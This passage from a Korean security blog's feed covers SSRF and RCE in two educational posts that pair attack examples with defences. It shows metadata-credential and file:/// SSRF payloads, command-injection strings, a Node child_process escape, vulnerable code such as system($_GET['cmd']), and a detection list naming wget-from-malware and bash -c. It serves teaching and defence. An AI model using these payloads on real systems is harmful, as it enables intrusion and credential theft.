&lt;div&gt;&lt;span&gt;&lt;span&gt;http:&lt;/span&gt;&lt;span&gt;&lt;span&gt;//&lt;/span&gt;&lt;/span&gt;&lt;span&gt;target.com/fetch?url=http:&lt;/span&gt;&lt;span&gt;&lt;span&gt;//&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;127.0&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;&lt;span&gt;3306&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;589&quot; data-start=&quot;558&quot; data-ke-size=&quot;size16&quot;&gt;서버가 내부 MySQL에 접근 &amp;rarr; 내부 정보 노출 가능.&lt;/p&gt;
&lt;hr data-end=&quot;594&quot; data-start=&quot;591&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;616&quot; data-start=&quot;596&quot;&gt;  &lt;b&gt;3. 실무 공격 예시&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;630&quot; data-start=&quot;618&quot; data-ke-size=&quot;size26&quot;&gt;1) 내부망 스캔&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;url&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=http://&lt;/span&gt;&lt;span&gt;&lt;span&gt;10.0&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;0.5&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;&lt;span&gt;8080&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;683&quot; data-start=&quot;665&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 내부 서비스가 열려있는지 탐지&lt;/p&gt;
&lt;h2 data-end=&quot;715&quot; data-start=&quot;685&quot; data-ke-size=&quot;size26&quot;&gt;2) 클라우드 메타데이터 서버 접근 (매우 위험)&lt;/h2&gt;
&lt;p data-end=&quot;720&quot; data-start=&quot;716&quot; data-ke-size=&quot;size16&quot;&gt;AWS:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;http:&lt;/span&gt;&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;&lt;span&gt;/169.254.169.254/latest&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;/meta-data/iam&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;/security-credentials/&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;800&quot; data-start=&quot;796&quot; data-ke-size=&quot;size16&quot;&gt;GCP:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;a href=&quot;http://metadata.google.internal/computeMetadata/v1/&quot;&gt;http://metadata.google.internal/computeMetadata/v1/&lt;/a&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;890&quot; data-start=&quot;862&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 클라우드 계정 권한 탈취 &amp;rarr; 인스턴스 제어 가능&lt;/p&gt;
&lt;h2 data-end=&quot;926&quot; data-start=&quot;892&quot; data-ke-size=&quot;size26&quot;&gt;3) Redis, Memcached 등 비인증 포트 공격&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;url&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=http://&lt;/span&gt;&lt;span&gt;&lt;span&gt;127.0&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;0.1&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;&lt;span&gt;6379&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;990&quot; data-start=&quot;962&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 데이터 삽입/삭제 &amp;rarr; RCE까지 이어질 수 있음&lt;/p&gt;
&lt;h2 data-end=&quot;1013&quot; data-start=&quot;992&quot; data-ke-size=&quot;size26&quot;&gt;4) File:// 프로토콜 악용&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;url&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=file:///etc/passwd &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1056&quot; data-start=&quot;1046&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 로컬 파일 읽기&lt;/p&gt;
&lt;h2 data-end=&quot;1077&quot; data-start=&quot;1058&quot; data-ke-size=&quot;size26&quot;&gt;5) DNS Rebinding&lt;/h2&gt;
&lt;p data-end=&quot;1112&quot; data-start=&quot;1078&quot; data-ke-size=&quot;size16&quot;&gt;공격자가 만든 도메인을 요청하게 하여 내부 IP로 바뀌게 만듦&lt;/p&gt;
&lt;hr data-end=&quot;1117&quot; data-start=&quot;1114&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1144&quot; data-start=&quot;1119&quot;&gt;  &lt;b&gt;4. 공격자가 할 수 있는 일&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1267&quot; data-start=&quot;1146&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1163&quot; data-start=&quot;1146&quot;&gt;내부망 스캔 (포트 스캐닝)&lt;/li&gt;
&lt;li data-end=&quot;1188&quot; data-start=&quot;1164&quot;&gt;DB 공격 (MySQL, Redis 등)&lt;/li&gt;
&lt;li data-end=&quot;1203&quot; data-start=&quot;1189&quot;&gt;내부 관리 페이지 접근&lt;/li&gt;
&lt;li data-end=&quot;1226&quot; data-start=&quot;1204&quot;&gt;민감파일 읽기 (file:///)&lt;/li&gt;
&lt;li data-end=&quot;1242&quot; data-start=&quot;1227&quot;&gt;클라우드 자격 증명 탈취&lt;/li&gt;
&lt;li data-end=&quot;1267&quot; data-start=&quot;1243&quot;&gt;RCE로 확장 (Cloud API 조작)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1308&quot; data-start=&quot;1269&quot; data-ke-size=&quot;size16&quot;&gt;즉 &amp;rarr; &lt;b&gt;외부에서 절대 접근하면 안 되는 내부망을 직접 공격 가능&lt;/b&gt;&lt;/p&gt;
&lt;hr data-end=&quot;1313&quot; data-start=&quot;1310&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1344&quot; data-start=&quot;1315&quot;&gt;  &lt;b&gt;5. WAF / 보안관제 대응 포인트&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;1367&quot; data-start=&quot;1346&quot; data-ke-size=&quot;size23&quot;&gt;✔ 1) 위험 URL 패턴 차단&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1477&quot; data-start=&quot;1368&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1394&quot; data-start=&quot;1368&quot;&gt;127.0.0.1, localhost&lt;/li&gt;
&lt;li data-end=&quot;1428&quot; data-start=&quot;1395&quot;&gt;10.*, 172.16.*, 192.168.*&lt;/li&gt;
&lt;li data-end=&quot;1442&quot; data-start=&quot;1429&quot;&gt;169.254.*&lt;/li&gt;
&lt;li data-end=&quot;1477&quot; data-start=&quot;1443&quot;&gt;file://, gopher://, ftp://&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1501&quot; data-start=&quot;1479&quot; data-ke-size=&quot;size23&quot;&gt;✔ 2) URL 인코딩 우회 탐지&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1549&quot; data-start=&quot;1502&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1549&quot; data-start=&quot;1502&quot;&gt;%2f, %5c, %31%32%37%2e%30%2e%30%2e%31 등&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1583&quot; data-start=&quot;1551&quot; data-ke-size=&quot;size23&quot;&gt;✔ 3) 서버 내부망으로의 아웃바운드 요청 모니터링&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1618&quot; data-start=&quot;1584&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1618&quot; data-start=&quot;1584&quot;&gt;갑자기 내부 IP로 HTTP 요청 발생 시 이상행위로 감지&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1645&quot; data-start=&quot;1620&quot; data-ke-size=&quot;size23&quot;&gt;✔ 4) DNS Rebinding 탐지&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1672&quot; data-start=&quot;1646&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1672&quot; data-start=&quot;1646&quot;&gt;동일 도메인인데 IP가 급격히 변할 때 알림&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1677&quot; data-start=&quot;1674&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1699&quot; data-start=&quot;1679&quot;&gt;  &lt;b&gt;6. 개발 단계 방어&lt;/b&gt;&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1922&quot; data-start=&quot;1701&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1741&quot; data-start=&quot;1701&quot;&gt;&lt;b&gt;URL 화이트리스트 방식&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1741&quot; data-start=&quot;1725&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1741&quot; data-start=&quot;1725&quot;&gt;지정된 도메인만 요청 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1763&quot; data-start=&quot;1742&quot;&gt;&lt;b&gt;로컬/내부 IP 대역 차단&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1802&quot; data-start=&quot;1764&quot;&gt;&lt;b&gt;file://, gopher:// 등 위험 프로토콜 금지&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1864&quot; data-start=&quot;1803&quot;&gt;&lt;b&gt;Redirect 방어&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1864&quot; data-start=&quot;1825&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1864&quot; data-start=&quot;1825&quot;&gt;공격자가 외부 URL &amp;rarr; 내부URL로 Redirect하는 경우 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1897&quot; data-start=&quot;1865&quot;&gt;&lt;b&gt;서버가 내부망에 요청할 때 반드시 프록시 사용&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1922&quot; data-start=&quot;1898&quot;&gt;&lt;b&gt;DNS 핀닝(DNS 고정 검증)&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-end=&quot;1927&quot; data-start=&quot;1924&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1945&quot; data-start=&quot;1929&quot;&gt;  &lt;b&gt;한 문장 요약&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;2048&quot; data-start=&quot;1946&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SSRF = 서버가 공격자의 명령대로 내부망이나 메타데이터 서버로 요청을 보내게 되는 공격으로, 내부 네트워크 공격 및 클라우드 계정 탈취까지 이어지는 매우 위험한 취약점이다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/344</guid>
      <comments>https://toastfactory.tistory.com/344#entry344comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:18:56 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] RCE(Remote Code Execution) 란?</title>
      <link>https://toastfactory.tistory.com/343</link>
      <description>&lt;p data-end=&quot;106&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**RCE(Remote Code Execution, 원격 코드 실행 취약점)**을 정리해줄게.&lt;br /&gt;실무에서 가장 위험한 공격 중 하나라서 구조&amp;middot;예시&amp;middot;방어까지 확실히 이해해야 해.&lt;/p&gt;
&lt;hr data-end=&quot;111&quot; data-start=&quot;108&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;154&quot; data-start=&quot;113&quot;&gt;  &lt;b&gt;1. RCE(Remote Code Execution) 개념&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;222&quot; data-start=&quot;156&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;RCE는 &lt;b&gt;공격자가 원격에서 서버에 임의의 코드를 실행할 수 있게 되는 치명적인 취약점&lt;/b&gt;을 말해.&lt;/p&gt;
&lt;p data-end=&quot;276&quot; data-start=&quot;224&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말하면:&lt;br /&gt;  &amp;ldquo;&lt;b&gt;공격자가 서버를 자기 컴퓨터처럼 명령을 내려서 조작하는 공격&lt;/b&gt;&amp;rdquo;&lt;/p&gt;
&lt;hr data-end=&quot;281&quot; data-start=&quot;278&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;300&quot; data-start=&quot;283&quot;&gt;  &lt;b&gt;2. 발생 원리&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;341&quot; data-start=&quot;302&quot; data-ke-size=&quot;size16&quot;&gt;웹 애플리케이션이 아래 기능을 제공하는데 입력값 검증이 허술하면 발생:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;471&quot; data-start=&quot;343&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;402&quot; data-start=&quot;343&quot;&gt;OS Command 실행 기능 사용 (예: exec, system, shell_exec)&lt;/li&gt;
&lt;li data-end=&quot;426&quot; data-start=&quot;403&quot;&gt;사용자 입력을 코드로 처리하는 기능&lt;/li&gt;
&lt;li data-end=&quot;450&quot; data-start=&quot;427&quot;&gt;파일 업로드 후 서버에서 실행 가능&lt;/li&gt;
&lt;li data-end=&quot;471&quot; data-start=&quot;451&quot;&gt;템플릿 엔진 코드 실행 취약점&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;475&quot; data-start=&quot;473&quot; data-ke-size=&quot;size16&quot;&gt;즉,&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;[사용자 입력]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[서버 명령 실행 로직]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[검증 미비]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; RCE 발생 &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;533&quot; data-start=&quot;530&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;555&quot; data-start=&quot;535&quot;&gt;  &lt;b&gt;3. 실무 공격 예시&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;578&quot; data-start=&quot;557&quot; data-ke-size=&quot;size26&quot;&gt;1) PHP에서 RCE 발생 예시&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;system&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;$_GET&lt;/span&gt;&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;&lt;span&gt;'cmd'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]); &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;620&quot; data-start=&quot;613&quot; data-ke-size=&quot;size16&quot;&gt;공격자 요청:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;a href=&quot;http://target.com/test.php?cmd=&quot;&gt;http://target.com/test.php?cmd=&lt;/a&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;/span&gt;&lt;span&gt; -al &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;683&quot; data-start=&quot;668&quot; data-ke-size=&quot;size26&quot;&gt;2) 시스템 명령 주입&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;ping&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;127.0.0.1&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;&lt;span&gt;cat&lt;/span&gt;&lt;/span&gt;&lt;span&gt; /etc/passwd &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;752&quot; data-start=&quot;725&quot; data-ke-size=&quot;size26&quot;&gt;3) Node.js RCE 예시 (eval)&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;eval&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(req.&lt;/span&gt;&lt;span&gt;&lt;span&gt;body&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;input&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;793&quot; data-start=&quot;786&quot; data-ke-size=&quot;size16&quot;&gt;공격자 입력:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;this&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;constructor&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;constructor&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&quot;return process&quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;)(&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;).&lt;/span&gt;&lt;span&gt;&lt;span&gt;mainModule&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;require&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;'child_process'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;).&lt;/span&gt;&lt;span&gt;&lt;span&gt;exec&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;'ls'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;941&quot; data-start=&quot;899&quot; data-ke-size=&quot;size26&quot;&gt;4) Python RCE (pickle, eval, os.system)&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;os.system(user_input) &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;982&quot; data-start=&quot;979&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1009&quot; data-start=&quot;984&quot;&gt;  &lt;b&gt;4. 공격자가 할 수 있는 일&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1112&quot; data-start=&quot;1011&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1029&quot; data-start=&quot;1011&quot;&gt;서버 파일 읽기/수정/삭제&lt;/li&gt;
&lt;li data-end=&quot;1046&quot; data-start=&quot;1030&quot;&gt;데이터베이스 정보 탈취&lt;/li&gt;
&lt;li data-end=&quot;1057&quot; data-start=&quot;1047&quot;&gt;백도어 설치&lt;/li&gt;
&lt;li data-end=&quot;1076&quot; data-start=&quot;1058&quot;&gt;내부망 스캔 및 추가 공격&lt;/li&gt;
&lt;li data-end=&quot;1088&quot; data-start=&quot;1077&quot;&gt;랜섬웨어 실행&lt;/li&gt;
&lt;li data-end=&quot;1112&quot; data-start=&quot;1089&quot;&gt;서버 전체 장악(루트 권한 획득 가능)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1137&quot; data-start=&quot;1114&quot; data-ke-size=&quot;size16&quot;&gt;즉 &amp;rarr; &lt;b&gt;서버가 거의 완전히 점령당함&lt;/b&gt;&lt;/p&gt;
&lt;hr data-end=&quot;1142&quot; data-start=&quot;1139&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1173&quot; data-start=&quot;1144&quot;&gt;  &lt;b&gt;5. WAF / 보안관제 대응 포인트&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;1194&quot; data-start=&quot;1175&quot; data-ke-size=&quot;size23&quot;&gt;✔ 1) 위험 패턴 탐지&lt;/h3&gt;
&lt;p data-end=&quot;1214&quot; data-start=&quot;1195&quot; data-ke-size=&quot;size16&quot;&gt;아래 문자열 포함 요청 탐지/차단:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1359&quot; data-start=&quot;1215&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1261&quot; data-start=&quot;1215&quot;&gt;;, &amp;amp;&amp;amp;, ||, |, $(), `command`&lt;/li&gt;
&lt;li data-end=&quot;1281&quot; data-start=&quot;1262&quot;&gt;cat /etc/passwd&lt;/li&gt;
&lt;li data-end=&quot;1309&quot; data-start=&quot;1282&quot;&gt;wget &lt;a href=&quot;http://malware.com&quot;&gt;http://malware.com&lt;/a&gt;&lt;/li&gt;
&lt;li data-end=&quot;1321&quot; data-start=&quot;1310&quot;&gt;bash -c&lt;/li&gt;
&lt;li data-end=&quot;1335&quot; data-start=&quot;1322&quot;&gt;python -c&lt;/li&gt;
&lt;li data-end=&quot;1359&quot; data-start=&quot;1336&quot;&gt;&quot;cmd=&quot;, &quot;system(&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1377&quot; data-start=&quot;1361&quot; data-ke-size=&quot;size23&quot;&gt;✔ 2) 우회 탐지&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1445&quot; data-start=&quot;1378&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1406&quot; data-start=&quot;1378&quot;&gt;URL 인코딩: %3b, %26%26&lt;/li&gt;
&lt;li data-end=&quot;1425&quot; data-start=&quot;1407&quot;&gt;Base64 인코딩된 명령&lt;/li&gt;
&lt;li data-end=&quot;1445&quot; data-start=&quot;1426&quot;&gt;PowerShell 명령 인코딩&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1472&quot; data-start=&quot;1447&quot; data-ke-size=&quot;size23&quot;&gt;✔ 3) 파일 업로드 후 실행 탐지&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1517&quot; data-start=&quot;1473&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1517&quot; data-start=&quot;1473&quot;&gt;업로드 후 .php, .jsp, .asp 실행 요청 발생 시 알람&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1540&quot; data-start=&quot;1519&quot; data-ke-size=&quot;size23&quot;&gt;✔ 4) 이상 행위 모니터링&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1610&quot; data-start=&quot;1541&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1569&quot; data-start=&quot;1541&quot;&gt;웹 서버 계정이 비정상적인 시스템 파일 접근&lt;/li&gt;
&lt;li data-end=&quot;1590&quot; data-start=&quot;1570&quot;&gt;폭주하는 프로세스(spawn)&lt;/li&gt;
&lt;li data-end=&quot;1610&quot; data-start=&quot;1591&quot;&gt;웹서버가 외부로 파일 전송 시도&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1615&quot; data-start=&quot;1612&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1637&quot; data-start=&quot;1617&quot;&gt;  &lt;b&gt;6. 개발 단계 방어&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;1669&quot; data-start=&quot;1639&quot; data-ke-size=&quot;size23&quot;&gt;✔ 1) OS Command 직접 사용 금지&lt;/h3&gt;
&lt;p data-end=&quot;1684&quot; data-start=&quot;1670&quot; data-ke-size=&quot;size16&quot;&gt;가능하면 사용하지 않는다.&lt;/p&gt;
&lt;h3 data-end=&quot;1721&quot; data-start=&quot;1686&quot; data-ke-size=&quot;size23&quot;&gt;✔ 2) Parameterized 방식으로 명령 실행&lt;/h3&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;subprocess.run([&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;ping&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;127.0.0.1&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]) &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1784&quot; data-start=&quot;1774&quot; data-ke-size=&quot;size16&quot;&gt;문자열 결합 금지.&lt;/p&gt;
&lt;h3 data-end=&quot;1819&quot; data-start=&quot;1786&quot; data-ke-size=&quot;size23&quot;&gt;✔ 3) 파일 업로드 디렉토리는 실행 불가로 설정&lt;/h3&gt;
&lt;p data-end=&quot;1829&quot; data-start=&quot;1820&quot; data-ke-size=&quot;size16&quot;&gt;웹쉘 실행 차단.&lt;/p&gt;
&lt;h3 data-end=&quot;1848&quot; data-start=&quot;1831&quot; data-ke-size=&quot;size23&quot;&gt;✔ 4) 입력값 검증&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1878&quot; data-start=&quot;1849&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1860&quot; data-start=&quot;1849&quot;&gt;특수문자 제거&lt;/li&gt;
&lt;li data-end=&quot;1878&quot; data-start=&quot;1861&quot;&gt;whitelist 기반 검증&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1900&quot; data-start=&quot;1880&quot; data-ke-size=&quot;size23&quot;&gt;✔ 5) 서버 권한 최소화&lt;/h3&gt;
&lt;p data-end=&quot;1927&quot; data-start=&quot;1901&quot; data-ke-size=&quot;size16&quot;&gt;웹서버 계정을 root로 절대 실행하지 않는다.&lt;/p&gt;
&lt;hr data-end=&quot;1932&quot; data-start=&quot;1929&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1950&quot; data-start=&quot;1934&quot;&gt;  &lt;b&gt;한 문장 요약&lt;/b&gt;&lt;/h1&gt;
